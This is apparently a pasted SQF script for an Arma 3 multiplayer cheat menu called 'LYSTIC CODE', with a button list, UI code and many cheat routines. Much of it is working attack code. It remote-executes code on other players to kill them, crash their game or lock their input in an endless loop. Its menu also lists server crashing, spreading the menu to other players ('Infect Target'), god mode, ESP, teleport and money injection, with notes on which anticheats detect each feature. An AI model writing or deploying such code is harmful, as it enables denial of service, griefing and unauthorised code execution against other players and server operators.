- _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
- _object = create" + "Vehicle ['B_Heli_Light_01_F', _pos2_peter, [], 0, 'CAN_COLLIDE'];
- _second_notactually = _second_notactually + 5;
- };
- _first_notactually = _first_notactually + 5;
- };
- }"];
- [COMPILE _code,false] call fn_Exec;
- _code = format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- if(name player != '%1') then {
- while {true} do {
- disableUserInput true;
- };
- } else {
- ['TaskSucceeded',['','Desync In Progress!']] call bis_fnc_showNotification;
- };
- ",name player];
- [COMPILE _code,true] call fn_Exec;
- };
- s_rainbow = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _this = call fn_getSelected;
- _toServer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- Rainbow_Unit = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this;
- sleep 0.01;
- while{true} do {
- _alive = alive _target;
- if(!_alive) exitwith {};
- _color = format['#(rgb,8,8,3)color(%1,%2,%3,1)',random(1),random(1),random(1)];
- Set_Texture = [_target,[_color,_color,_color,_color,_color]];
- publicVariable "Set_Texture";
- sleep 1;
- };
- };
- };
- _toClients = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- "Set_Texture" addPublicVariableEventHandler {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _arr = _this select 1;
- _arr spawn BIS_fnc_setObjectTexture;
- };
- };
- [_toServer,false] call fn_Exec;
- [_toClients,true] call fn_Exec;
- _target = _this call fn_GetObject;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + "_target = objnull; {if(name _x == '"+_this+"') then {_target = _x;};} forEach allUnits; _target spawn Rainbow_Unit;");
- [_code,false] call fn_Exec;
- ['TaskSucceeded',['','The Target Is Now Rainbowy!']] call bis_fnc_showNotification;
- };
- s_kill = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _this = call fn_getSelected;
- _target = _this call fn_GetObject;
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};player setDamage 1;},_target] call fn_Exec;
- };
- s_crash = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _this = call fn_getSelected;
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};[] spawn{startLoadingScreen ['Arma Crashed'];removeAllWeapons player;removeAllItems player;removeBackpack player;0 fadeSound 0;_unit = player;_unit setDamage 1;for '_i' from 0 to 100 do {(findDisplay _i) closeDisplay 0;};};};
- _target = _this call fn_GetObject;
- [_code,_target] call fn_Exec;
- };
- s_nuke = {
- hint "NOT IMPLEMENTED";
- };
- s_infect = {
- _target = (call fn_getSelected) call fn_GetObject;
- [OMFG_MENU,_target] call fn_Exec;
- };
- script_var = {_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};hint 'This cheat is incomplete';};
- };
- ['LYSTIC CODE'] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- OPEN_LISTS = [];
- CHEAT_LIST = [
- [
- ["God Mode","Disable Damage To Your Player","S_godMode",true,"s_godmode_t"],
- ["No Recoil","Disable Weapon Recoil (detected by most anticheats)","S_NoRecoil",true,"S_NoRecoil_t"],
- ["No Fatigue","Disable Player Fatigue","S_noFatigue",true,"S_noFatigue_t"],
- ["No Fall","Disables Player Fall Damage","S_noFall",true,"S_noFall_t"],
- ["Unlimited Ammo","Never Run Out Of Ammo (Infistar Detected)","S_unlimitedAmmo",true,"S_unlimitedAmmo_t"],
- ["Fast Shoot","Remove Weapon RelEoading Time","s_fastShoot",true,"s_fastShoot_t"],
- ["Invisibility","Makes Your Player Invisible (Remote Exec)","s_invis",true,"s_invis_t"],
- ["SpeedHack","Gives your vehicle a speed boost","s_speedhack",true,"s_speedhack_t"],
- ["Vehicle God","Gives Your Vehicle GodMode","s_vehGod",true,"S_VEHgod_TOGGLE"]
- ],
- [
- ["TP Target Here","Teleport The Selected Player Here","s_tphere",false,""],
- ["TP To Target","Teleport To The Selected Player","s_tpthere",false,""],
- ["Player ESP","Show Player Markers On Screen","s_esp",true,"s_esp_t"],
- ["Lower Terrain","Find those players hiding in the grass","s_lowt",true,"s_lowt_t"],
- ["No Clip","Walk Through Buildings","s_noclip",true,"s_noclip_t"],
- ["Fly Mode","Fly Around Like A God","s_fly",true,"s_fly_t"],
- ["$100,000 Cash","Give Yourself $100k","s_cash100k",false,""],
- ["All Licenses","Give Yourself all Licenses","s_licenses",false,""],
- ["Spectate","Spectate Target Player","s_spectate",false,""]
- ],
- [
- ["Big Bullets","Shoot Explosions!","s_bexplode",true,"s_bexplode_t"],
- ["Animal Bullets","Shoot Random Animals","s_abullets",true,"s_abullets_t"],
- ["Bullet Tracers","Tracers for each shot","s_tbullets",true,"s_tbullets_t"],
- ["Map Drawing","Draw on the map like paper!","s_drawmap",true,"s_drawmap_t"],
- ["Lumber Jack","No one likes trees anyway!","s_deforest",true,"s_deforest_t"],
- ["Defence Squad","Spawn a defense squad!","s_dsquad",false,""],
- ["Spawn Hackbox","Get Any Weapon In The Game!","s_hackbox",false,""],
- ["Morph Menu","(Look at the left side of the screen)","s_morph",false,""],
- ["Troll People","Spawn 100s of VR units!","s_trollppl",false,""]
- ],
- [
- ["Test RE","Test remote execution","s_remextest",false,""],
- ["Kamikaze","Launch a kamikaze attack!","s_kamikazi",false,""],
- ["Rocket","Send a man into space!","s_rocket",false,""],
- ["Crash Server","No Server Can Survive!","s_crashserver",false,""],
- ["Rainbow","Make Target Rainbow!","s_rainbow",false,""],
- ["Kill Target","Kill Target Player","s_kill",false,""],
- ["Crash Target","Crash Targets Game","s_crash",false,""],
- ["Nuke Server","Nuke That Fucking Server!","s_nuke",false,""],
- ["Infect Target","Give a friend this menu!","s_infect",false,""]
- ]
- ];
- //generate toggles
- {
- _arr = _x;
- {
- _isToggle = _x select 3;
- if(_isToggle) then {
- call compile format['_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};%1 = false;',_x select 4];
- };
- } forEach _arr;
- } forEach CHEAT_LIST;
- with uinamespace do {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- CTRL_BTN_LIST = [[],[],[],[]];
- };
- fn_preprocess = {
- _string = _this select 0;
- _lines = [_string,toString [13,10]] call BIS_fnc_splitString;
- _code = "";
- _isCommenting = false;
- {
- _line = _x;
- _array = toArray _line;
- _checkType = 0;
- _check = false;
- _string = "";
- _letters = [];
- _removeLastChar = false;
- _exitLine = false;
- _stopRemoveLastChar = false;
- {
- _foundChar = false;
- if(_x == 47) then {
- if(_check) then {
- if(_checkType == 1) then {_isCommenting = false;_removeLastChar = true;};
- if(_checkType == 0 && !_isCommenting) then {_exitLine = true;_removeLastChar = true;};
- _check = false;
- } else {
- _checkType = 0;
- _check = true;
- };
- _foundChar = true;
- };
- if(_x == 42) then {
- if(_check) then {
- _isCommenting = true;
- _check = false;
- _removeLastChar = true;
- } else {
- _checkType = 1;
- _check = true;
- };
- _foundChar = true;
- };
- if(!_foundChar && _check) then {_check = false;};// fix issue with / * this is a comment? WHAT???!1
- if (!_isCommenting && !_exitLine) then {
- _letters = _letters + [_x];
- };
- if(_removeLastChar && !_stopRemoveLastChar) then {
- _temp = [];
- for '_i' from 0 to ((count _letters) - 2) do {
- _temp = _temp + [_letters select _i];
- };
- _letters = _temp;
- _removeLastChar = false;
- };
- if(_exitLine) then {_stopRemoveLastChar = true;};
- } forEach _array;
- _string = toString _letters;
- _code = _code + _string;
- } forEach _lines;
- _code;
- };
- fn_drawTracer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _shooter = [_this,0,objNull,[objNull]] call BIS_fnc_param;
- _maxLines = [_this,1,10,[10]] call BIS_fnc_param;
- _lineFade = [_this,2,false,[true]] call BIS_fnc_param;
- if (isNil "BIS_tracedShooter") then {BIS_tracedShooter = _shooter};
- if (isNil {_shooter getVariable "BIS_bulletTrace_EHPool"}) then {
- _shooter setVariable ["BIS_bulletTrace_EHPool", []];
- };
- if (_maxLines == 0) then {
- {_shooter removeEventHandler ["Fired", _x]} forEach (_shooter getVariable "BIS_bulletTrace_EHPool");
- _shooter setVariable ["BIS_bulletTrace_EHPool", []];
- if (!isNil {_shooter getVariable "BIS_bulletTrace_EHDraw"}) then {removeMissionEventHandler ["Draw3D", _shooter getVariable "BIS_bulletTrace_EHDraw"]};
- if (!isNil {_shooter getVariable "BIS_lines"}) then {
- {for [{_i = 0}, {_i < count _x}, {_i = _i + 1}] do {_x set [_i, [[]]]}} forEach (_shooter getVariable "BIS_lines");
- _shooter setVariable ["BIS_lines", []];
- }
- } else {
- _shooter setVariable ["BIS_maxLines", _maxLines];
- _shooter setVariable ["BIS_doFade",_lineFade];
- _shooter setVariable ["BIS_lines", []];
- _shooter setVariable ["BIS_lines_fadeOut",[]];
- _shooter setVariable ["BIS_colors_fadeOut",[]];
- _shooter setVariable ["BIS_lines_fade",[]];
- _shooter setVariable ["BIS_colors", []];
- _shooter setVariable ["BIS_flying", 0];
- _EHIndex = _shooter addEventHandler ["Fired", {[_this select 0, position (_this select 6), _this select 6] spawn {
- _shooter = _this select 0;
- _start = _this select 1;
- _round = _this select 2;
- _shooter setVariable ["BIS_flying", (_shooter getVariable "BIS_flying") + 1];
- _startSpeed = (velocity _round) call BIS_fnc_magnitude;
- _shooter setVariable ["BIS_colors", (_shooter getVariable "BIS_colors") + [[]]];
- _shooter setVariable ["BIS_lines", (_shooter getVariable "BIS_lines") + [[]]];
- _i = (count (_shooter getVariable "BIS_lines") - 1);
- ((_shooter getVariable "BIS_colors") select _i) set [0, [1,0,0,1]];
- ((_shooter getVariable "BIS_lines") select _i) set [0, _start];
- if (count (_shooter getVariable "BIS_lines") > (_shooter getVariable "BIS_maxLines")) then {
- if(_shooter getVariable "BIS_doFade") then {
- _index = (count (_shooter getVariable "BIS_lines_fadeOut"));
- _value = (_shooter getVariable "BIS_lines") select ((count (_shooter getVariable "BIS_colors")) - (_shooter getVariable "BIS_maxLines") - 1);
- (_shooter getVariable "BIS_lines_fadeOut") set [_index,_value];
- _value = (_shooter getVariable "BIS_colors") select ((count (_shooter getVariable "BIS_colors")) - (_shooter getVariable "BIS_maxLines") - 1);
- (_shooter getVariable "BIS_colors_fadeOut") set [_index,_value];
- (_shooter getVariable "BIS_lines_fade") set[_index,1];
- };
- (_shooter getVariable "BIS_colors") set [(count (_shooter getVariable "BIS_colors")) - (_shooter getVariable "BIS_maxLines") - 1, []];
- (_shooter getVariable "BIS_lines") set [(count (_shooter getVariable "BIS_lines")) - (_shooter getVariable "BIS_maxLines") - 1, []];
- };
- while {!isNull _round && if (count (_shooter getVariable "BIS_lines") > 0) then {count ((_shooter getVariable "BIS_lines") select _i) > 0} else {FALSE}} do {
- _curSpd = (velocity _round) call BIS_fnc_magnitude;
- if (_curSpd > 0) then {
- _r = 2 - (_startSpeed / _curSpd);
- _b = (_startSpeed / _curSpd) - 1;
- ((_shooter getVariable "BIS_colors") select _i) set [count ((_shooter getVariable "BIS_colors") select _i), [_r,0,_b,1]];
- ((_shooter getVariable "BIS_lines") select _i) set [count ((_shooter getVariable "BIS_lines") select _i), position _round];
- if (_curSpd > 60) then {
- waitUntil {((velocity _round) call BIS_fnc_magnitude) < (_curSpd - (_curSpd / 100))};
- } else {
- sleep 0.1;
- };
- };
- };
- waitUntil {isNull _round || count (_shooter getVariable "BIS_lines") == 0};
- if (count (_shooter getVariable "BIS_lines") > 0) then {
- _shooter setVariable ["BIS_flying", (_shooter getVariable "BIS_flying") - 1];
- if ((_shooter getVariable "BIS_flying") == 0) then {
- _shooter setVariable ["BIS_colors", (_shooter getVariable "BIS_colors") - [[]]];
- _shooter setVariable ["BIS_lines", (_shooter getVariable "BIS_lines") - [[]]];
- };
- };
- }}];
- _shooter setVariable ["BIS_bulletTrace_EHPool", (_shooter getVariable "BIS_bulletTrace_EHPool") + [_EHIndex]];
- _event = addMissionEventHandler ["Draw3D", {
- {
- for [{_i = 1}, {_i < count _x}, {_i = _i + 1}] do {
- drawLine3D [_x select (_i - 1), _x select _i, ((BIS_tracedShooter getVariable "BIS_colors") select _forEachIndex) select (_i - 1)];
- }
- } forEach (BIS_tracedShooter getVariable "BIS_lines");
- _removeIndexs = [];
- {
- _index = _forEachIndex;
- _fade = (BIS_tracedShooter getVariable "BIS_lines_fade") select _index;
- if(_fade > 0) then {
- for [{_i = 1}, {_i < count _x}, {_i = _i + 1}] do {
- _color = ((BIS_tracedShooter getVariable "BIS_colors_fadeOut") select _forEachIndex) select (_i - 1);
- _color set [3,_fade];
- _startPos = _x select (_i - 1);
- _endPos = _x select _i;
- if(count(_startPos) == 3 && count(_endPos) == 3) then {
- drawLine3D [_startPos, _endPos, _color];
- };
- };
- (BIS_tracedShooter getVariable "BIS_lines_fade") set [_index,_fade - 0.02];
- } else {
- _removeIndexs = _removeIndexs + [_index];
- };
- } forEach (BIS_tracedShooter getVariable "BIS_lines_fadeOut");
- {
- (BIS_tracedShooter getVariable "BIS_lines_fadeOut") set [_x,[]];
- (BIS_tracedShooter getVariable "BIS_colors_fadeOut") set [_x,[]];
- (BIS_tracedShooter getVariable "BIS_lines_fade") set [_x,0];
- BIS_tracedShooter setVariable ["BIS_colors_fadeOut", (BIS_tracedShooter getVariable "BIS_colors_fadeOut") - [[]]];
- BIS_tracedShooter setVariable ["BIS_lines_fadeOut", (BIS_tracedShooter getVariable "BIS_lines_fadeOut") - [[]]];
- BIS_tracedShooter setVariable ["BIS_lines_fade", (BIS_tracedShooter getVariable "BIS_lines_fade") - [0]];
- } forEach _removeIndexs;
- }];
- _shooter setVariable ["BIS_bulletTrace_EHDraw", _event];
- };
- };
- fn_getSelected = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _ctrl = uinamespace getVariable ["player_list",controlnull];
- if(isNull _ctrl) exitWith {};
- _curSelArr = tvCurSel _ctrl;
- _truepath = [_curSelArr select 0];
- _text = _ctrl tvText _truepath;
- _text;
- };
- fn_getObject = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _name = _this;
- _obj = objNull;
- {
- if(isPlayer _x && name _x == _name) exitWith {
- _obj = _x;
- };
- } forEach allunits;
- _obj;
- };
- fn_execCheat = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _listIndex = _this select 0;
- _cheatNum = _this select 1;
- _cheat = (CHEAT_LIST select _listIndex) select _cheatNum;
- _text = _cheat select 0;
- _tooltip = _cheat select 1;
- _var = _cheat select 2;
- _isToggle = _cheat select 3;
- _toggleVar = _cheat select 4;
- //--- Toggle Button
- if(_isToggle) then {
- disableserialization;
- _toggle = false;
- call compile format["_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};%1 = if(%1) then {false} else {true};_toggle = %1;",_toggleVar];
- _color = [1,0,0,1];
- if(_toggle) then {
- _color = [0,1,0,1];
- };
- _ctrls = uinamespace getVariable ["CTRL_BTN_LIST",[[],[],[],[]]];
- _ctrl = (_ctrls select _listIndex) select _cheatNum;
- _ctrl ctrlSetTextColor _color;
- _ctrl ctrlCommit 0;
- };
- call compile format["_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};[] spawn %1",_var];
- };
- fn_toggleList = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _index = _this;
- if(_index in OPEN_LISTS) exitWith {
- _btns = uinamespace getVariable ["CTRL_BTN_LIST",[[],[],[],[]]];
- _ctrls = _btns select _index;
- _count = count(_ctrls)-1;
- {
- _curCheat = (CHEAT_LIST select _index) select _forEachIndex;
- if(!isNull _x) then {
- [_x,_forEachIndex,_count,_curCheat] spawn {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _ctrl = _this select 0;
- _count = _this select 2;
- _curCheat = _this select 3;
- _delay = (_count-(_this select 1))/20;
- uiSleep _delay;
- _isToggle = _curCheat select 3;
- _toggleVar = _curCheat select 4;
- _color = [1,1,1,0];
- if(_isToggle) then {
- _color = [1,0,0,0];
- _toggle = false;
- call compile format["_toggle = %1;",_toggleVar];
- if(_toggle) then {_color = [0,1,0,0];};
- };
- _r = _color select 0;
- _g = _color select 0;
- _b = _color select 0;
- for "_i" from 7 to 0 step -1 do {
- _fade = 0.05 * _i;
- _fadeText = (1/8) * _i;
- _ctrl ctrlSetBackgroundColor [0,0,0,_fade];
- _ctrl ctrlSetTextColor [_r,_g,_b,_fadeText];
- uiSleep (1/160);
- };
- ctrlDelete _ctrl;
- };
- };
- } forEach _ctrls;
- _btns set[_index,[]];
- uinamespace setvariable ["CTRL_BTN_LIST",_btns];
- OPEN_LISTS = OPEN_LISTS - [_index];
- };
- _display = (call get_display);
- if(isNull _display) exitWith {};
- OPEN_LISTS set[count(OPEN_LISTS),_index];
- _ctrlList = [];
- _pos = ctrlPosition (uinamespace getVariable [format["CTRL_BTN_LVL%1",_index+1],controlNull]);
- _xPos = _pos select 0;
- _y = YposTitle + 0.02;
- _w = _pos select 2;
- _h = heightS;
- _array = CHEAT_LIST select _index;
- {
- _y = _y + _h;
- _text = _x select 0;
- _toolTip = _x select 1;
- _func = _x select 2;
- _isToggle = _x select 3;
- _toggleVar = _x select 4;
- _color = [1,1,1,0];
- if(_isToggle) then {
- _color = [1,0,0,0];
- _toggle = false;
- call compile format["_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_toggle = %1;",_toggleVar];
- if(_toggle) then {_color = [0,1,0,0];};
- };
- _ctrl = _display ctrlCreate ["RscButtonMenu",-1];
- _ctrl ctrlSetPosition [_xPos,_y,_w,_h];
- _ctrl ctrlSetText _text;
- _ctrl buttonSetAction format["[%1,%2] spawn fn_execCheat;",_index,_forEachIndex];
- _ctrl ctrlSetToolTip _toolTip;
- _ctrl ctrlSetBackgroundColor [0,0,0,0];
- _ctrl ctrlSetTextColor _color;
- _ctrl ctrlCommit 0;
- [_ctrl,_forEachIndex,_color] spawn {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _delay = ((_this select 1)/20);
- _ctrl = _this select 0;
- _r = (_this select 2) select 0;
- _g = (_this select 2) select 1;
- _b = (_this select 2) select 2;
- uiSleep _delay;
- for "_i" from 1 to 8 do {
- _fade = 0.05 * _i;
- _fadeText = (1/8) * _i;
- _ctrl ctrlSetBackgroundColor [0,0,0,_fade];
- _ctrl ctrlSetTextColor [_r,_g,_b,_fadeText];
- uiSleep (1/160);
- };
- };
- _ctrlList set[count(_ctrlList),_ctrl];
- } forEach _array;
- _btns = uinamespace getvariable "CTRL_BTN_LIST";
- _btns set[_index,_ctrlList];
- uinamespace setvariable ["CTRL_BTN_LIST",_btns];
- };
- };
- if(!isNil "menu_done") exitWith {};
- menu_done = true;
- [] spawn {
- while{true} do {
- waitUntil{inputAction "User9" > 0};
- [] spawn init_menu;
- waitUntil{inputAction "User9" == 0};
- };
- };
- [] spawn {
- while{true} do {
- waitUntil{!isNull (findDisplay 49)};
- ((findDisplay 49) displayCtrl 104) ctrlEnable true;
- ((findDisplay 49) displayCtrl 104) ctrlShow true;
- waitUntil{isNull (findDisplay 49)};
- };
- };
- for "_i" from 0 to 50 do {_i spawn fn_displayAdvert;};
- [] spawn {
- while{true} do {
- onMapSingleClick '_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};if(_alt) then {vehicle player setposatl _pos;};if(execMapFunc && !_alt) then {execMapFunc = false; call compile format["call %1;",mapFunc];}; false';
- };
- };
- "Controls" hintC [
- "To use this menu you must:",
- " Configure -> Controls -> Custom Controls -> User Action 9",
- " Bind that to any key to open you menu. ",
- "To teleport you must: ",
- " Hold ALT and click on the map!",
- "Have fun!"
- ];
- hintC_arr_EH = findDisplay 72 displayAddEventHandler ["unload", {
- _this spawn {
- _this select 0 displayRemoveEventHandler ["unload", hintC_arr_EH];
- hintSilent "";
- };
- }];
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement